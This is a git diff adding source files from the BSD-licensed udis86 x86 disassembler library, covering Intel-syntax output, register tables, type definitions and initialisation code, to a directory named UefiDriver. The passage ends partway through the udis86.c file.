a/UefiDriver/udis86/libudis86/syn-intel.c b/UefiDriver/udis86/libudis86/syn-intel.c new file mode 100644 index 0000000..e4d8409 --- /dev/null +++ b/UefiDriver/udis86/libudis86/syn-intel.c @@ -0,0 +1,213 @@ +/* udis86 - libudis86/syn-intel.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" +#include "udint.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + if (u->br_far) { + ud_asmprintf(u, "far "); + } + switch(op->size) { + case 8: ud_asmprintf(u, "byte " ); break; + case 16: ud_asmprintf(u, "word " ); break; + case 32: ud_asmprintf(u, "dword "); break; + case 64: ud_asmprintf(u, "qword "); break; + case 80: ud_asmprintf(u, "tword "); break; + default: break; + } +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void gen_operand(struct ud* u, struct ud_operand* op, int syn_cast) +{ + switch(op->type) { + case UD_OP_REG: + ud_asmprintf(u, "%s", ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: + if (syn_cast) { + opr_cast(u, op); + } + ud_asmprintf(u, "["); + if (u->pfx_seg) { + ud_asmprintf(u, "%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + if (op->base) { + ud_asmprintf(u, "%s", ud_reg_tab[op->base - UD_R_AL]); + } + if (op->index) { + ud_asmprintf(u, "%s%s", op->base != UD_NONE? "+" : "", + ud_reg_tab[op->index - UD_R_AL]); + if (op->scale) { + ud_asmprintf(u, "*%d", op->scale); + } + } + if (op->offset != 0) { + ud_syn_print_mem_disp(u, op, (op->base != UD_NONE || + op->index != UD_NONE) ? 1 : 0); + } + ud_asmprintf(u, "]"); + break; + + case UD_OP_IMM: + ud_syn_print_imm(u, op); + break; + + + case UD_OP_JIMM: + ud_syn_print_addr(u, ud_syn_rel_target(u, op)); + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + ud_asmprintf(u, "word 0x%x:0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + ud_asmprintf(u, "dword 0x%x:0x%x", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + case UD_OP_CONST: + if (syn_cast) opr_cast(u, op); + ud_asmprintf(u, "%d", op->lval.udword); + break; + + default: return; + } +} + +/* ============================================================================= + * translates to intel syntax + * ============================================================================= + */ +extern void +ud_translate_intel(struct ud* u) +{ + /* check if P_OSO prefix is used */ + if (!P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: ud_asmprintf(u, "o32 "); break; + case 32: + case 64: ud_asmprintf(u, "o16 "); break; + } + } + + /* check if P_ASO prefix was used */ + if (!P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: ud_asmprintf(u, "a32 "); break; + case 32: ud_asmprintf(u, "a16 "); break; + case 64: ud_asmprintf(u, "a32 "); break; + } + } + + if (u->pfx_seg && + u->operand[0].type != UD_OP_MEM && + u->operand[1].type != UD_OP_MEM ) { + ud_asmprintf(u, "%s ", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + + if (u->pfx_lock) { + ud_asmprintf(u, "lock "); + } + if (u->pfx_rep) { + ud_asmprintf(u, "rep "); + } else if (u->pfx_repe) { + ud_asmprintf(u, "repe "); + } else if (u->pfx_repne) { + ud_asmprintf(u, "repne "); + } + + /* print the instruction mnemonic */ + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + + if (u->operand[0].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, " "); + if (u->operand[0].type == UD_OP_MEM) { + if (u->operand[1].type == UD_OP_IMM || + u->operand[1].type == UD_OP_CONST || + u->operand[1].type == UD_NONE || + (u->operand[0].size != u->operand[1].size && + u->operand[1].type != UD_OP_REG)) { + cast = 1; + } else if (u->operand[1].type == UD_OP_REG && + u->operand[1].base == UD_R_CL) { + switch (u->mnemonic) { + case UD_Ircl: + case UD_Irol: + case UD_Iror: + case UD_Ircr: + case UD_Ishl: + case UD_Ishr: + case UD_Isar: + cast = 1; + break; + default: break; + } + } + } + gen_operand(u, &u->operand[0], cast); + } + + if (u->operand[1].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, ", "); + if (u->operand[1].type == UD_OP_MEM && + u->operand[0].size != u->operand[1].size && + !ud_opr_is_sreg(&u->operand[0])) { + cast = 1; + } + gen_operand(u, &u->operand[1], cast); + } + + if (u->operand[2].type != UD_NONE) { + ud_asmprintf(u, ", "); + gen_operand(u, &u->operand[2], 0); + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/UefiDriver/udis86/libudis86/syn.c b/UefiDriver/udis86/libudis86/syn.c new file mode 100644 index 0000000..5ae7aa2 --- /dev/null +++ b/UefiDriver/udis86/libudis86/syn.c @@ -0,0 +1,207 @@ +/* udis86 - libudis86/syn.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "decode.h" +#include "syn.h" +#include "udint.h" + +/* ----------------------------------------------------------------------------- + * Intel Register Table - Order Matters (types.h)! + * ----------------------------------------------------------------------------- + */ +const char* ud_reg_tab[] = +{ + "al", "cl", "dl", "bl", + "ah", "ch", "dh", "bh", + "spl", "bpl", "sil", "dil", + "r8b", "r9b", "r10b", "r11b", + "r12b", "r13b", "r14b", "r15b", + + "ax", "cx", "dx", "bx", + "sp", "bp", "si", "di", + "r8w", "r9w", "r10w", "r11w", + "r12w", "r13w" , "r14w", "r15w", + + "eax", "ecx", "edx", "ebx", + "esp", "ebp", "esi", "edi", + "r8d", "r9d", "r10d", "r11d", + "r12d", "r13d", "r14d", "r15d", + + "rax", "rcx", "rdx", "rbx", + "rsp", "rbp", "rsi", "rdi", + "r8", "r9", "r10", "r11", + "r12", "r13", "r14", "r15", + + "es", "cs", "ss", "ds", + "fs", "gs", + + "cr0", "cr1", "cr2", "cr3", + "cr4", "cr5", "cr6", "cr7", + "cr8", "cr9", "cr10", "cr11", + "cr12", "cr13", "cr14", "cr15", + + "dr0", "dr1", "dr2", "dr3", + "dr4", "dr5", "dr6", "dr7", + "dr8", "dr9", "dr10", "dr11", + "dr12", "dr13", "dr14", "dr15", + + "mm0", "mm1", "mm2", "mm3", + "mm4", "mm5", "mm6", "mm7", + + "st0", "st1", "st2", "st3", + "st4", "st5", "st6", "st7", + + "xmm0", "xmm1", "xmm2", "xmm3", + "xmm4", "xmm5", "xmm6", "xmm7", + "xmm8", "xmm9", "xmm10", "xmm11", + "xmm12", "xmm13", "xmm14", "xmm15", + + "rip" +}; + + +uint64_t +ud_syn_rel_target(struct ud *u, struct ud_operand *opr) +{ + const uint64_t trunc_mask = 0xffffffffffffffffull >> (64 - u->opr_mode); + switch (opr->size) { + case 8 : return (u->pc + opr->lval.sbyte) & trunc_mask; + case 16: return (u->pc + opr->lval.sword) & trunc_mask; + case 32: return (u->pc + opr->lval.sdword) & trunc_mask; + default: UD_ASSERT(!"invalid relative offset size."); + return 0ull; + } +} + + +/* + * asmprintf + * Printf style function for printing translated assembly + * output. Returns the number of characters written and + * moves the buffer pointer forward. On an overflow, + * returns a negative number and truncates the output. + */ +int +ud_asmprintf(struct ud *u, const char *fmt, ...) +{ + int ret; + size_t avail; + va_list ap; + va_start(ap, fmt); + avail = (u->asm_buf_size - u->asm_buf_fill - 1 /* nullchar */); + ret = vsnprintf((char*) u->asm_buf + u->asm_buf_fill, avail, fmt, ap); + if (ret < 0 || ret > avail) { + u->asm_buf_fill = u->asm_buf_size - 1; + } else { + u->asm_buf_fill += ret; + } + va_end(ap); + return ret; +} + + +void +ud_syn_print_addr(struct ud *u, uint64_t addr) +{ + const char *name = NULL; + if (u->sym_resolver) { + int64_t offset = 0; + name = u->sym_resolver(u, addr, &offset); + if (name) { + if (offset) { + ud_asmprintf(u, "%s%+" FMT64 "d", name, offset); + } else { + ud_asmprintf(u, "%s", name); + } + return; + } + } + ud_asmprintf(u, "0x%" FMT64 "x", addr); +} + + +void +ud_syn_print_imm(struct ud* u, const struct ud_operand *op) +{ + uint64_t v; + if (op->_oprcode == OP_sI && op->size != u->opr_mode) { + if (op->size == 8) { + v = (int64_t)op->lval.sbyte; + } else { + UD_ASSERT(op->size == 32); + v = (int64_t)op->lval.sdword; + } + if (u->opr_mode < 64) { + v = v & ((1ull << u->opr_mode) - 1ull); + } + } else { + switch (op->size) { + case 8 : v = op->lval.ubyte; break; + case 16: v = op->lval.uword; break; + case 32: v = op->lval.udword; break; + case 64: v = op->lval.uqword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + } + ud_asmprintf(u, "0x%" FMT64 "x", v); +} + + +void +ud_syn_print_mem_disp(struct ud* u, const struct ud_operand *op, int sign) +{ + UD_ASSERT(op->offset != 0); + if (op->base == UD_NONE && op->index == UD_NONE) { + uint64_t v; + UD_ASSERT(op->scale == UD_NONE && op->offset != 8); + /* unsigned mem-offset */ + switch (op->offset) { + case 16: v = op->lval.uword; break; + case 32: v = op->lval.udword; break; + case 64: v = op->lval.uqword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + ud_asmprintf(u, "0x%" FMT64 "x", v); + } else { + int64_t v; + UD_ASSERT(op->offset != 64); + switch (op->offset) { + case 8 : v = op->lval.sbyte; break; + case 16: v = op->lval.sword; break; + case 32: v = op->lval.sdword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + if (v < 0) { + ud_asmprintf(u, "-0x%" FMT64 "x", -v); + } else if (v > 0) { + ud_asmprintf(u, "%s0x%" FMT64 "x", sign? "+" : "", v); + } + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/UefiDriver/udis86/libudis86/syn.h b/UefiDriver/udis86/libudis86/syn.h new file mode 100644 index 0000000..d3b1e3f --- /dev/null +++ b/UefiDriver/udis86/libudis86/syn.h @@ -0,0 +1,53 @@ +/* udis86 - libudis86/syn.h + * + * Copyright (c) 2002-2009 + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_SYN_H +#define UD_SYN_H + +#include "types.h" +#ifndef __UD_STANDALONE__ +# include +#endif /* __UD_STANDALONE__ */ + +extern const char* ud_reg_tab[]; + +uint64_t ud_syn_rel_target(struct ud*, struct ud_operand*); + +#ifdef __GNUC__ +int ud_asmprintf(struct ud *u, const char *fmt, ...) + __attribute__ ((format (printf, 2, 3))); +#else +int ud_asmprintf(struct ud *u, const char *fmt, ...); +#endif + +void ud_syn_print_addr(struct ud *u, uint64_t addr); +void ud_syn_print_imm(struct ud* u, const struct ud_operand *op); +void ud_syn_print_mem_disp(struct ud* u, const struct ud_operand *, int sign); + +#endif /* UD_SYN_H */ + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/UefiDriver/udis86/libudis86/types.h b/UefiDriver/udis86/libudis86/types.h new file mode 100644 index 0000000..8b012a9 --- /dev/null +++ b/UefiDriver/udis86/libudis86/types.h @@ -0,0 +1,250 @@ +/* udis86 - libudis86/types.h + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_TYPES_H +#define UD_TYPES_H + +#ifdef __KERNEL__ + /* -D__KERNEL__ is automatically passed on the command line when + building something as part of the Linux kernel */ +# include +# include +# ifndef __UD_STANDALONE__ +# define __UD_STANDALONE__ 1 +#endif +#endif /* __KERNEL__ */ + +#if defined(_MSC_VER) || defined(__BORLANDC__) +# include +# include +# define inline __inline /* MS Visual Studio requires __inline + instead of inline for C code */ +#elif !defined(__UD_STANDALONE__) +# include +# include +#endif /* !__UD_STANDALONE__ */ + +/* gcc specific extensions */ +#ifdef __GNUC__ +# define UD_ATTR_PACKED __attribute__((packed)) +#else +# define UD_ATTR_PACKED +#endif /* UD_ATTR_PACKED */ + + +/* ----------------------------------------------------------------------------- + * All possible "types" of objects in udis86. Order is Important! + * ----------------------------------------------------------------------------- + */ +enum ud_type +{ + UD_NONE, + + /* 8 bit GPRs */ + UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, + UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, + UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, + UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, + UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, + + /* 16 bit GPRs */ + UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, + UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, + UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, + UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, + + /* 32 bit GPRs */ + UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, + UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, + UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, + UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, + + /* 64 bit GPRs */ + UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, + UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, + UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, + UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, + + /* segment registers */ + UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, + UD_R_FS, UD_R_GS, + + /* control registers*/ + UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, + UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, + UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, + UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, + + /* debug registers */ + UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, + UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, + UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, + UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, + + /* mmx registers */ + UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, + UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, + + /* x87 registers */ + UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, + UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, + + /* extended multimedia registers */ + UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, + UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, + UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, + UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, + + UD_R_RIP, + + /* Operand Types */ + UD_OP_REG, UD_OP_MEM, UD_OP_PTR, UD_OP_IMM, + UD_OP_JIMM, UD_OP_CONST +}; + +#include "itab.h" + +union ud_lval { + int8_t sbyte; + uint8_t ubyte; + int16_t sword; + uint16_t uword; + int32_t sdword; + uint32_t udword; + int64_t sqword; + uint64_t uqword; + struct { + uint16_t seg; + uint32_t off; + } ptr; +}; + +/* ----------------------------------------------------------------------------- + * struct ud_operand - Disassembled instruction Operand. + * ----------------------------------------------------------------------------- + */ +struct ud_operand { + enum ud_type type; + uint8_t size; + enum ud_type base; + enum ud_type index; + uint8_t scale; + uint8_t offset; + union ud_lval lval; + /* + * internal use only + */ + uint64_t _legacy; /* this will be removed in 1.8 */ + uint8_t _oprcode; +}; + +/* ----------------------------------------------------------------------------- + * struct ud - The udis86 object. + * ----------------------------------------------------------------------------- + */ +struct ud +{ + /* + * input buffering + */ + int (*inp_hook) (struct ud*); +#ifndef __UD_STANDALONE__ + FILE* inp_file; +#endif + const uint8_t* inp_buf; + size_t inp_buf_size; + size_t inp_buf_index; + uint8_t inp_curr; + size_t inp_ctr; + uint8_t inp_sess[64]; + int inp_end; + + void (*translator)(struct ud*); + uint64_t insn_offset; + char insn_hexcode[64]; + + /* + * Assembly output buffer + */ + char *asm_buf; + size_t asm_buf_size; + size_t asm_buf_fill; + char asm_buf_int[128]; + + /* + * Symbol resolver for use in the translation phase. + */ + const char* (*sym_resolver)(struct ud*, uint64_t addr, int64_t *offset); + + uint8_t dis_mode; + uint64_t pc; + uint8_t vendor; + enum ud_mnemonic_code mnemonic; + struct ud_operand operand[3]; + uint8_t error; + uint8_t pfx_rex; + uint8_t pfx_seg; + uint8_t pfx_opr; + uint8_t pfx_adr; + uint8_t pfx_lock; + uint8_t pfx_str; + uint8_t pfx_rep; + uint8_t pfx_repe; + uint8_t pfx_repne; + uint8_t opr_mode; + uint8_t adr_mode; + uint8_t br_far; + uint8_t br_near; + uint8_t have_modrm; + uint8_t modrm; + uint8_t primary_opcode; + void * user_opaque_data; + struct ud_itab_entry * itab_entry; + struct ud_lookup_table_list_entry *le; +}; + +/* ----------------------------------------------------------------------------- + * Type-definitions + * ----------------------------------------------------------------------------- + */ +typedef enum ud_type ud_type_t; +typedef enum ud_mnemonic_code ud_mnemonic_code_t; + +typedef struct ud ud_t; +typedef struct ud_operand ud_operand_t; + +#define UD_SYN_INTEL ud_translate_intel +#define UD_SYN_ATT ud_translate_att +#define UD_EOI (-1) +#define UD_INP_CACHE_SZ 32 +#define UD_VENDOR_AMD 0 +#define UD_VENDOR_INTEL 1 +#define UD_VENDOR_ANY 2 + +#endif + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/UefiDriver/udis86/libudis86/udint.h b/UefiDriver/udis86/libudis86/udint.h new file mode 100644 index 0000000..86cb49f --- /dev/null +++ b/UefiDriver/udis86/libudis86/udint.h @@ -0,0 +1,89 @@ +/* udis86 - libudis86/udint.h -- definitions for internal use only + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef _UDINT_H_ +#define _UDINT_H_ + +#ifdef HAVE_CONFIG_H +# include +#endif /* HAVE_CONFIG_H */ + +#if defined(UD_DEBUG) && HAVE_ASSERT_H +# include +# define UD_ASSERT(_x) assert(_x) +#else +# define UD_ASSERT(_x) +#endif /* !HAVE_ASSERT_H */ + +#if defined(UD_DEBUG) + #define UDERR(u, msg) \ + do { \ + (u)->error = 1; \ + fprintf(stderr, "decode-error: %s:%d: %s", \ + __FILE__, __LINE__, (msg)); \ + } while (0) +#else + #define UDERR(u, m) \ + do { \ + (u)->error = 1; \ + } while (0) +#endif /* !LOGERR */ + +#define UD_RETURN_ON_ERROR(u) \ + do { \ + if ((u)->error != 0) { \ + return (u)->error; \ + } \ + } while (0) + +#define UD_RETURN_WITH_ERROR(u, m) \ + do { \ + UDERR(u, m); \ + return (u)->error; \ + } while (0) + +#ifndef __UD_STANDALONE__ +# define UD_NON_STANDALONE(x) x +#else +# define UD_NON_STANDALONE(x) +#endif + +/* printf formatting int64 specifier */ +#ifdef FMT64 +# undef FMT64 +#endif +#if defined(_MSC_VER) || defined(__BORLANDC__) +# define FMT64 "ll" +#else +# if defined(__APPLE__) +# define FMT64 "ll" +# elif defined(__amd64__) || defined(__x86_64__) +# define FMT64 "l" +# else +# define FMT64 "ll" +# endif /* !x64 */ +#endif + +#endif /* _UDINT_H_ */ diff --git a/UefiDriver/udis86/libudis86/udis86.c b/UefiDriver/udis86/libudis86/udis86.c new file mode 100644 index 0000000..1d69e80 --- /dev/null +++ b/UefiDriver/udis86/libudis86/udis86.c @@ -0,0 +1,478 @@ +/* udis86 - libudis86/udis86.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "udint.h" +#include "extern.h" +#include "decode.h" + +#if !defined(__UD_STANDALONE__) +# if HAVE_STRING_H +# include +# endif +#endif /* !__UD_STANDALONE__ */ + +static void ud_inp_init( struct ud *u ); + +/* ============================================================================= + * ud_init + * Initializes ud_t object. + * ============================================================================= + */ +extern void +ud_init( struct ud* u ) +{ + memset( (void*)u, 0, sizeof( struct ud ) ); + ud_set_mode( u, 16 ); + u->mnemonic = UD_Iinvalid; + ud_set_pc( u, 0 ); + #ifndef __UD_STANDALONE__ + ud_set_input_file( u, stdin ); + #endif /* __UD_STANDALONE__ */ + + ud_set_asm_buffer( u, u->asm_buf_int, sizeof( u->asm_buf_int ) ); +} + + +/* ============================================================================= + * ud_disassemble + * Disassembles one instruction and returns the number of + * bytes disassembled. A zero means end of disassembly. + * ============================================================================= + */ +extern unsigned int +ud_disassemble( struct ud* u ) +{ + int len; + if (u->inp_end) + { + return 0; + } + if ((len = ud_decode( u )) > 0) + { + if (u->translator != NULL) + { + u->asm_buf[0] = '\0'; + u->translator( u ); + } + } + return len; +} + + +/* ============================================================================= + * ud_set_mode() - Set Disassemly Mode. + * ============================================================================= + */ +extern void +ud_set_mode( struct ud* u, uint8_t m ) +{ + switch (m) + { + case 16: + case 32: + case 64: u->dis_mode = m; return; + default: u->dis_mode = 16; return; + } +} + +/* ============================================================================= + * ud_set_vendor() - Set vendor. + * ============================================================================= + */ +extern void ud_set_vendor( struct ud* u, unsigned v ) +{ + switch (v) + { + case UD_VENDOR_INTEL: + u->vendor = (uint8_t)v; + break; + case UD_VENDOR_ANY: + u->vendor = (uint8_t)v; + break; + default: + u->vendor = UD_VENDOR_AMD; + } +} + +/* ============================================================================= + * ud_set_pc() - Sets code origin. + * ============================================================================= + */ +extern void +ud_set_pc( struct ud* u, uint64_t o 